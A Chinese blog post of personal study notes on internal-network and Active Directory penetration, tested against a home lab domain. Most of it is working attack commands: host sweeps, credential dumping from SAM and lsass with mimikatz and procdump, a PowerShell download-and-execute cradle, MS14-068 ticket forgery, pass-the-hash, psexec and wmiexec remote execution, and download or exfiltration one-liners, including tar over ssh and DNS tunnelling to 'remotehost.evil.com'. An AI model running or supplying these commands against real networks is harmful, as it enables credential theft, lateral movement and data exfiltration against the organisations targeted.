1.我所了解的内网渗透
最近看了一点内网渗透的学习资料,感觉内网渗透需要的知识太多,遂写博客来记录下自己学习内网渗透的一些笔记。
开篇首先推荐i春秋陈小兵老师在技术沙龙上的分享:https://www.ichunqiu.com/open/61711
并看大佬的一篇msf内网穿透文章:https://www.freebuf.com/articles/network/125278.html
其中内网渗透常见的几个问题:
1.防火墙穿透
2.木马免杀穿透
3.内网信息收集及目标定位
4.关于文件下载
而内网渗透也分为 域渗透 与 工作组渗透
域渗透:
1.域信息收集
2.获取域权限
3.dump域hash
4.内网权限维持
工作组渗透:
1.常规内网渗透
2.各种欺骗攻击
如果非要说内网渗透的思路:
1.内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器
2.收集到了足够多的信息可以扫一下开放端口 21 22 80 8080 443等确定敏感信息,以及之后渗透的方向
3.通过以上信息进行一定的弱口令尝试,针对特定的软件做banner采集利用,snmp测试读取和写入权限
4.进行一些提权操作,从横向和纵向对目标服务器进行渗透。
6.进行敏感信息挖掘,内网密码收集嗅探,同时擦出入侵足迹。
内网渗透在我感觉一种是拿下内网一台主机权限,外网端口转发或者协议代理进内网,或者通过vpn连接进入内网,另一种是通过物理方法连入内网,比如通过网线,wifi热点进入内网等。不过最终的目的一样,只是连接过程不同,第一种比第二种要多一个”桥梁“。
如何拿下一个网站权限,这里不再多说,各有各的运气,各有各的技术。
具体的端口转发与协议代理可以看我上一篇文章:https://www.cnblogs.com/bmjoker/p/10264148.html
这里主要学习得到一台主机权限后,如何在主机所在内网翻出更大的浪花。
-----------------------------------
博主在本地搭建了域环境:
DC:windows2008 192.168.0.108
DM:windows2003 192.168.0.107
DM:windows xp 192.168.0.105
-----------------------------------
0x01 域信息收集
---------------------------
1.内网信息探测常用命令
2.网络环境的判断
3.内网存活主机探测
4.hash与明文
---------------------------
1.内网信息探测常用命令
拿下一台内网机器,首先要定位内网机器的架构。
收集基本信息:
ipconfig /all ------ 查询本机IP段,所在域等
net user ------ 本机用户列表
net localgroup administrators ------ 本机管理员[通常含有域用户]
net user /domain ------ 查询域用户
net group /domain ------ 查询域里面的工作组
net group "domain admins" /domain ------ 查询域管理员用户组
net localgroup administrators /domain ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ------域用户添加到本机
net group "domain controllers" /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判断主域,主域服务器都做时间服务器
net config workstation ------ 当前登录域
net session ------ 查看当前会话
net use \\ip\ipc$ pawword /user:username ------ 建立IPC会话[空连接-***]
net share ------ 查看SMB指向的路径[即共享]
net view ------ 查询同一域内机器列表
net view \\ip ------ 查询某IP共享
net view /domain ------ 查询域列表
net view /domain:domainname ------ 查看workgroup域中计算机列表
net start ------ 查看当前运行的服务
net accounts ------ 查看本地密码策略
net accounts /domain ------ 查看域密码策略
nbtstat –A ip ------netbios 查询
netstat –an/ano/anb ------ 网络连接查询
route print ------ 路由表
tasklist /V ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表
qprocess * ----- 类似tasklist
qprocess /SERVER:IP ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com ----- 查看邮件服务器
whoami /all ----- 查询当前用户权限等
set ----- 查看系统环境变量
systeminfo ----- 查看系统信息
qwinsta ----- 查看登录情况
qwinsta /SERVER:IP ----- 查看远程登录情况
fsutil fsinfo drives ----- 查看所有盘符
gpupdate /force ----- 更新域策略
cmdkey /l ----- 看是否保存了登陆凭证。(攻击者会先查看管理员是否保留了登陆凭证,方便后续的凭证抓取。)
echo %logonserver% ----- 查看登陆域
这里有一个特殊的用户叫做krbtgt,该用户是用于Kerberos身份验证的账户,获得了该用户的hash,就可以伪造票据传递攻击
2.网络环境的判断
1.机器所处位置区域的判断;
2.机器在内网中角色的判断;
3.进出口流量是否连通的判断,是否出的去,进得来
-------------------------------------
(1) 位置的判断
位置判断是指机器处于网络拓扑中的某个区域,是在DMZ区,办公网,还是核心区,核心DB等多个位置,当然这里的区域并不是绝对的,只是大概的一个环境,不同的地方网络环境不一样,区域的界限也不一定明显。
(2) 角色的判断
机器角色的判断指判断已经控制的机器是普通Web服务器、开发测试服务器、公共服务器、文件服务器还是代理服务器、DNS服务器、存储服务器等等。具体的判断是通过对机器内的主机名、文件、网络连接等多种情况进行综合判断的。
(3)连通性的判断
出口流量是否连通的判断指机器是否能上外网这些,要综合判断协议(tcp\http\dns\icmp等协议)与端口(常见能出去的端口有80,8080,443,53,110,123等)。在这里还有一种是网络内网设置了代理服务器的情况,攻击者通常会查看环境变量set,主机名是否有proxy字样的机器,注册表是否有写明代理地址或指定pac代理文件等。
3.内网存活主机探测
icmp扫描
基于icmp的各种内网主机发现方式,如果防火墙过滤的icmp请求,这种方式基本就废了,但是基本上都不会过滤icmp协议的请求。除了本身自带的命令,也可以考虑使用第三方程序,比如cping。
在windows下使用icmp扫描
- cmd中执行如下命令,对整个C段进行ping扫描
cmd回显: for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl"
导出成文本: @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt)
- 利用powershell对目标内网进行icmp扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000"
目标网段,并非仅限C段,比如你也可以写成这种方式`192.168.0.1 - 192.168.0.254`
windows 2003与windows xp需要安装powershell1.0:官方下载地址
关于powershell在内网渗透中的作用,请看下一篇文章,这里不再细说。
在linux下使用各类icmp扫描
- shell中执行linux脚本进行扫描
#!/bin/bash
for ip in 192.168.0.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done
或者
for i in 192.168.0.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
- nmap的icmp扫描
nmap -sn -PE 192.168.0.1/24
如果是物理方法连接内网,可直接进行探测。如果仅有一台内网主机权限,可以作端口转发,感觉比较靠谱的还是配置SOCKS5内网代理,使用proxychains配合nmap使用,或者使用msf中的模块先挂内网代理,使用scanner模块进行扫描,或者把内网已getshell的机器配置成跳板机,来借力打力。
arp扫描
在windows下使用arp扫描:
- arpscan工具扫描
start /b arpscan.exe -t 192.168.0.1/24 >> result.txt
arpscan.exe下载地址:https://www.2cto.com/soft/201001/16987.html#download
所需dll文件:https://cn.dll-files.com
- powershell调用arpscan扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" >> result.txt
在linux下使用arp扫描:
- nmap的arp扫描
nmap -sn -PR 192.168.0.1/24 尝试arp扫描
- netdiscover扫描
netdiscover -r 192.168.0.1/24 -i eth0
- msf的arp扫描模块
msf > use auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set interface eth0
msf > set smac 00:0c:29:92:fd:85
msf > set rhosts 192.168.0.1/24
msf > set threads 20
msf > set shost 192.168.0.133 (伪造源ip)
msf > run
- msf获取一个shell
meterpreter > getsystem 另外,在目标机器上扫描时,务必先提权(个人建议,会方便很多),不然扫描过程中可能会有些问题 meterpreter > run autoroute -s 192.168.0.1/24 (添加路由) meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24
meterpreter > run
基于smb和netbios的内网主机发现方式
windows下nbt扫描:
nbtscan.exe -m 192.168.0.1/24 非常经典的小工具
nbtscan.exe工具下载地址:http://www.unixwiz.net/tools/nbtscan.html#download
linux下nbt扫描:
nbtscan.exe -r 192.168.0.1/24
域内扫描
net view
dsquery computer 其实,域内最好用的也就是nbtscan了
如果计算机名很多的时候,可以利用bat批量ping获取ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
4.hash与明文
抓取hash最好的工具莫过于mimikatz,不过免杀是个问题。
从 sam 数据库中提取目标系统本地用户密码 hash
- 在线读取sam数据库
(1) 使用mimikatz提取系统hash与明文
privilege::debug
token::elevate
lsadump::sam
sekurlsa::logonPasswords (获取明文用户口令)
破解出的NTLM可以尝试CMD5破解:
或者尝试 ophcrack 破解:https://www.objectif-securite.ch/ophcrack.php
简单密码可以直接明文显示
(2) 使用pwdump7提取系统密码hash
下载地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip
需要管理员权限执行:
可以看到已经提取出hash
(3) 使用powershell脚本提取hash
hash脚本下载地址:https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1
管理员权限执行powershell命令:
powershell -ep bypass -f Invoke-PowerDump.ps1
- 离线读取 sam 数据库
获取当前系统的 sam 数据库文件,在另一个系统下读取
导出 sam 数据库文件有以下两种实现方法:
(1) 保存注册表
管理员权限,利用 reg 将 sam,system和 security文件导出来,并保存在本地:
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY sercrity.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /sercrity:sercrity.hiv" exit
可以看到已提取出hash
参考链接:通过SAM数据库获得本地用户hash
通过 dump lsass.exe 进程数据离线免杀抓取明文
(1) 通过procdump.exe提取出明文
procdump.exe工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
有时遇到杀软,直接在目标机器上抓取密码可能会被杀,这时可以先利用 procdump 把 lsass.exe 进程中的数据导出到指定文件中,再把导出的文件下回到本地用 mimikatz 读取文件中的密码hash,以实现免杀效果,不过需要注意的是,本地读取文件的系统平台和目标的系统需要完全一致。
先在目标机器上执行:
32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
本地使用mimikatz读取文件中的密码hash
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
可以看到已经提取出系统中的hash与明文
(2) powershell调用dump脚本
# Public>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
或者本机执行
# Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"
关于windows10/2012r2 以后系统的明文密码抓取方式
在windows10/2012r2 之后的系统版本中,默认情况下是禁用了在内存缓存中存储系统用户明文密码,此时使用mimikatz去抓取密码,会显示null。
解决方法为:修改注册表 ---> 抓取windows server 2012 & 2016 & win8明文密码
0x02 横向渗透
-------------------------
1.默认权限配置认知
2.端口转发与协议代理
3.工作组横向渗透
4.域环境横向渗透
5.权限维持
-------------------------
1.默认权限配置认知
[+]普通机器
允许Console:administrator组(domain admins),users组(domain users),backup operators组
允许rdp:administrator组(domain admins),Remote desktop users组
[+]域控AD
允许Console:administrator组,backup operators组,account operators组,print operators组,server operators组
允许rdp:administrator组,Remote desktop users组
如果出现配置错误,属于权限设置问题。
当某些普通\不普通用户加入AD的rdp组或其他管理组,当攻击者拿到这些用户的权限时就相当于可以获取到域控制器的权限了。
2.代理转发与协议代理
具体请参考我上一篇文章:内网渗透之端口转发
3.工作组横向渗透
工作组采取的一般都是常规渗透方法,因为工作组一般都是个人和少数服务器。
通常使用的方法有:
- 扫描网段中的web服务,常用的有phpstudy,wampserver等,来寻找搭建的服务漏洞
- 扫描开放端口信息,以及对应的服务,判断是否存在漏洞。
- 扫描主机由于没有更新到最新版本导致的系统漏洞,比如MS17-010,补丁号为KB4013389
- hash抓取,hash注入,hash碰撞,IPC登陆,未授权访问,文件共享系统。
- ARP嗅探/欺骗攻击(Cain和Ettercap)
- DNS劫持,会话劫持。
- 社会工程学
- ...
4.域环境横向渗透
(1)域内信息探测
windows环境常用命令:
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:XXX #查看此域内电脑
net group /domain #查询域里面的组
net group "domain computers" /domain #查看加入到域内的所有计算机名
net group "domain admins" /domain #查看域管理员
nltest /dclist:xxx #查看域控制器
net group "domain controllers" /domain #查看域控制器
net user hacker /domain #获得指定账户的详细信息
net accounts /domain #获得域密码策略设置,密码长短,错误锁定等信息
dsquery命令探测AD信息:
dsquery computer ----- 寻找目录中的计算机
dsquery contact ----- 在目录中查找与指定的搜索条件相匹配的联系人
dsquery subnet ----- 寻找目录中的子网
dsquery group ----- 寻找目录中的群组
dsquery ou ----- 寻找目录中的组织单位
dsquery site ----- 寻找目录中的站点
dsquery server ----- 寻找目录中的域控制器
dsquery user ----- 寻找目录中的用户
dsquery quota ----- 寻找目录中的配额规格
dsquery partition ----- 寻找目录中的磁盘分区
dsquery * ----- 使用标准的LDAP查询在目录中寻找任何对象
dsquery server –domain Yahoo.com | dsget server–dnsname –site ---搜索域内域控制器的DNS主机名和站点名
dsquery computer domainroot –name *-xp –limit 10 ----- 搜索域内以-xp结尾的机器10台
dsquery user domainroot –name admin* -limit ---- 搜索域内以admin开头的用户10个
……
……
[注:dsquery来源于Windows Server 2003 Administration Tools Pack]
具体参考:http://blog.51cto.com/122269875/1716414
Net系列命令获取域内信息
Csvde/ldifde/dsquery/adfind/ldapsearch #探测更详细信息
使用`Get-SPN`(powershell脚本LDAP中快速查询符合指定得用户、组、或者SPN服务名称)
Nslookup -type=SRV_ldap._tcp #(寻找域控)
tasklist /v #列出进程和进程所有者(看是否有域管登陆)
PowerView #(powershell脚本 辅助找寻定位关键用户,查看域管在线机器)
WinScanX.exe #远程信息刺探
Winfo.exe #遍历远程用户名
nmap smb-enum-sessions.nse #(引擎来获取远程机器的登陆session,并且不需要管理权。)
netview.exe #(它利用`NetSessionEnum`来寻找登陆sessions,利用`NetShareEnum`来找寻共享,利用`NetWkstaUserEnum`来枚举登陆的用户)
Wmic系列命令使用:
wmic bios ----- 查看bios信息
wmic qfe ----- 查看补丁信息
wmic qfe get hotfixid ----- 查看补丁-Patch号
wmic startup ----- 查看启动项
wmic service ----- 查看服务
wmic os ----- 查看OS信息
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)
linux常用命令:
cat /etc/issue #查看系统名称
cat /etc/lsb-release #查看系统名称
cat /etc/nsswitch #查看密码登陆策略
route #查看路由
cat /etc/network/interfaces #查看网卡配置文件
cat /var/log/syslog #查看系统日志
ps aux #查看进程
crontab -l #计划任务
cat /etc/network/interfaces #查看网络配置
netstat #查看网络通信
showmount -e ip 查看NFS连接
ldapsearch -h 192.168.0.1 -x -z 10 -p 指定端口 #查找10条用户记录
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.0.1 #匿名信息查找管理员信息
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2 #有密码形式查找管理员信息
(2) 域管权限获取
除了工作组的几种方法外,还有域特别的几种渗透方法。
1.组策略漏洞(GPP)
域管理员使用GPP来配置和操作域,常见的操作有远程创建本地用户、映射打印机、映射磁盘等,这些操作有时候需要提供账号密码。当组策略进行分发时,会在 SYSVOL 目录下生成一个xml文件,理所当然的前面提供的账号密码都保存在这个xml文件中,而密码是经过AES加密得,也就是说完全可逆的加密算法,而微软同时也很照顾的公布了加密密钥,所以任何域普通用户就可以读取这些xml文件并使用公开的AES密钥破解密码。组策略漏洞是windows 2008的,而且不一定是groups.xml,其他的xml也可能存在密码。
dir \\domain.com\sysvol\*
2.Kerberos协议漏洞
关于Kerberos协议漏洞常见的三种有:MS14-068,Golden ticket(黄金票据),SILVER TICKET(白银票据)
简单介绍一下Kerberos协议的工作方法:
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
- 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中tgt数据
- 然后客户机将tgt发送给域控制器KDC请求TGS(票证授权服务)票证,并且对tgt进行检测
- 检测成功之后,将目标服务账户的ntlm以及tgt进行加密,将加密后的结果返回给客户机。
ms14-068
Benjamin Delpy(mimikatz的作者)写了一个MS14-068的利用工具,叫Kekeo,是PyKEk的升级版,他能够找到并定位有漏洞的域控,在打了补丁(KB3011780)和 2012/2012r2域控情况下仍能奏效。
在利用ms14-068漏洞之前,建议先使用 klist/purge 清除服务器端缓存的 Kerberos 凭据,且使用域控地址不使用IP.
- PyKEK
具体Pykek工具及下载地址:https://www.secpulse.com/archives/2874.html
github项目地址:https://github.com/mubix/pykek
- Kekeo
先给出工具下载地址:https://github.com/gentilkiwi/kekeo/releases
利用条件:
域用户及口令
域控地址
利用方法:
kekeo.exe /domain:vuln.local /user:adminstrator /password:12580/ /ptt
具体使用参考:http://www.cnblogs.com/backlion/p/6820744.html
3.相同密码登陆(hash碰撞)
hash碰撞实际上就是利用hash传递来盲打。
如果内网主机的本地管理员账户密码相同且允许账户登陆域内其他机器。
在域环境中,利用pass the hash的渗透方式往往是这样:
1.获得一台域主机权限;
2.Dump内存获取用户hash(或明文);
3.通过pass the hash 或 pass the ticket尝试登陆其他主机;
4.继续收集hash或明文,并尝试远程登陆;
5.知道获得域管理员hash,登陆域控,最终成功控制整个域。
域登陆缓存mscash
使用reg命令提取sam、system、securit,然后用creddump7或者mimakatz提取mscash。
4.利用漏洞配置不当获取更多主机权限
- 常见应用漏洞:
struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis未授权访问、Hadoop、weblogic、jboss、WebSphere、Coldfusion
- 常见语言反序列化漏洞
php、Java、python、ruby、node.js
- 数据库漏洞及配置不当
mssql Get-SQLServerAccess、MySQL低版本hash登陆、MySQL低版本Authentication Bypass、域内mssql凭证获取密码、monggodb未授权访问、memcache配置不当
- 内网中很多web应用存在常见漏洞、使用有漏洞的中间件和框架、弱口令及配置不当(注入、任意文件读取、备份、源码泄漏(rsync、git、svn、DS_Store)、代码执行、xss、弱口令、上传漏洞、权限绕过…)
- web应用、及数据库中寻找其他服务器密码信息(ftp、mail、smb、ldap存储、sql...)
- 系统备份文件(ghost)中读密码
- 在已有控制权限主机中,查看各浏览器书签、cookie、存储密码、键盘记录收集相关敏感信息、查询注册表中保存密码、读取各客户端连接密码、putty dll注入、putty密码截取、ssh连接密码,以获取更多主机权限
推荐工具:NetRipper、Puttyrider.exe、ProwserPasswordDump.exe、LaZagne.exe
- ms08-067 远程溢出(极少能碰到)
- cmdkey /list 远程终端可信任连接连接 netpass.exe 读取该密码
- arp欺骗中间人攻击(替换sql数据包、认证凭证获取、密码获取极大不到万不得已不会用)
- WPAD中间人攻击(全称网络代理自动发现协议、截获凭证该种方法不需要ARP欺骗,比较好用的一种方法(使用Responder.py/net-creds.py))
- 翻阅相关文件及以控制数据库中可能存储配置口令(别忘了回收站)
- 用已有控制权限的邮箱账号以及前期所了解到的信息进行欺骗(社会工程学)
- 定向浏览器信息ip信息定向挂马(0day)
- 用以收集的密码(组合变换密码)对各服务进行爆破
- 应用0day攻击…
5.远程命令执行方式
例如 at\schtasks\psexec\wmic\sc\ps 网上有很多相关资源也不占篇幅了,只提一个很少提的。从2012r2 起,他们开了一个端口叫5985,原理跟大家常说的 powershell remote是一样的,基于 winrm 服务,于是可以这样执行。又是一个系统自带的远程管理工具。
winrs -r:192.168.22.33 -u:administrator -p:p@assw0rd ipconfig
(3) 目标定位
在有域控权限的条件下,需要找到某台机器(服务器、个人机、数据库)
我们首先先将所有的域用户的详细信息都列举出来,通过详细名称(Full Name)确认其域用户。
dsquery user - 查找目录中的用户。
dsquery computer - 查找目录中的计算机。
我们将上面的两条命令的执行结果结合起来进行归类。
然后通过域控日志查找登陆IP或者机器。当然,除了日志还有别的方式,不限于日志。
找到机器或者IP之后,可通过域管理员或者用其域用户进行登陆。登陆的方式也是有多重,上面有讲过。
但是,也有些机器是登陆不上的。我们可以通过设置域登陆脚本进行操作。
5.权限维持
推荐三好学生大佬的文章:
域渗透——Security Support Provider
域渗透——Hook PasswordChangeNotify
-------------------2019.2.8补充---------------------------
1.域内文件操作
2.域内运行命令
---------------------------
1.域内文件操作:
Windows:
(1)利用IPC$传输文件
建立ipc连接以后,就可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。
上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径。
何为UNC路径?简单来讲以\开头的路径就是UNC路径,比如\192.168.1.2\c$\boot.ini。
如果要从本地当前目录上传1.bat到192.168.1.2机器C盘根目录下,那么命令就是:
copy 1.bat \\192.168.1.2\C$\
反之就是下载。dir,copy,xcopy,move,type的参数都可以使用UNC路径
(2)利用Telnet连接来传输文件
服务端:nc -lvnp 23 < nc.exe
下载端:telnet ip -f c:\nc.exe
(3)利用文件共享
net use x: \\[目标IP]\[地址] [域用户password] /user:[域]\[username]
(4)powershell文件下载
powershell突破限制执行:
powershell -ExecutionPolicy Bypass -File .\1.ps1
1.ps1内容:
$d = New-Object System.Net.WebClient
$d.DownloadFile("http://baidu.com/file.zip","c:/1.zip")
(5)vbs脚本下载:
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.206.101/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\file.zip",2
下载执行:
cscript test.vbs
(6)bitsadmin win03测试没有,win08有:
bitsadmin /transfer n http://baidu.com/file.zip c:\1.zip
(7)hta 保存为.hta文件后运行:
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.206.101/demo.php.zip",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\demo.zip", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
Linux:
(1)perl脚本文件下载 kali下测试成功,centos5.5下,由于没有LWP::Simple这个,导致下载失败
#!/usr/bin/perl
use LWP::Simple
getstore("http://baidu.com/file.zip", "/root/1.zip");
(2)python脚本文件下载:
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://baidu.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()
(3)ruby文件下载 centos5.5没有ruby环境:
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.lemon.com") { |http|
r = http.get("/file.zip")
open("/root/1.zip", "wb") { |file|
file.write(r.body)
}
}
(4)wget文件下载:
wget http://baidu.com/file.zip -P /root/1.zip
其中-P是保存到指定目录
(5)一边tar一边ssh上传:
tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"
(6)利用dns传输数据:
tar zcf - localfolder | xxd -p -c 16 | while read line; do host $line.domain.com remotehost.evil.com; done
其他传输方式:
(1)php脚本文件下载:
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
(2)ftp文件下载:
>**windows下**
>ftp下载是需要交互,但是也可以这样去执行下载
open host
username
password
bin
lcd c:/
get file
bye
>将这个内容保存为1.txt, ftp -s:"c:\1.txt"
>在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样
echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt
>**linux下**
>bash文件
ftp 127.0.0.1
username
password
get file
exit
>或者使用busybox里面的tftp或者ftp
>busybox ftpget -u test -P test 127.0.0.1 file.zip
(3)nc文件传输:
服务端:cat file | nc -l 1234
下载端:nc host_ip 1234 > file
(4)使用SMB传送文件
本地linux的smb的环境配置:
>vi /etc/samba/smb.conf
[test]
comment = File Server Share
path = /tmp/
browseable = yes
writable = yes
guest ok = yes
read only = no
create mask = 0755
>service samba start
下载端:
net use o: \\192.168.206.129\test
dir o:
/
2.域内运行命令
(1)利用计划任务
at \\192.168.0.100 15:00 c:\hack.bat
(2)PSexec
psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用
psexec \\192.168.0.100 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
参数:
-s 参数用来以system权限执行
–accepteula 绕过第一次运行的弹窗
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
使用:psexec \\192.168.1.2 c:\hack.bat
(3)wmiexec
T00ls大牛写的一款工具。早就传开了。
半交互模式:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
单个命令执行的模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"
如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
wce -s [hash]
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
(4)SC创建服务执行:
1、系统权限(其中test为服务名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test
2.指定用户权限启动
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test
参考连接:
https://www.secpulse.com/archives/5671.html
https://www.secpulse.com/archives/50288.html
域渗透——Pass The Hash & Pass The Key
How Attackers Use Kerberos Silver Tickets to Exploit Systems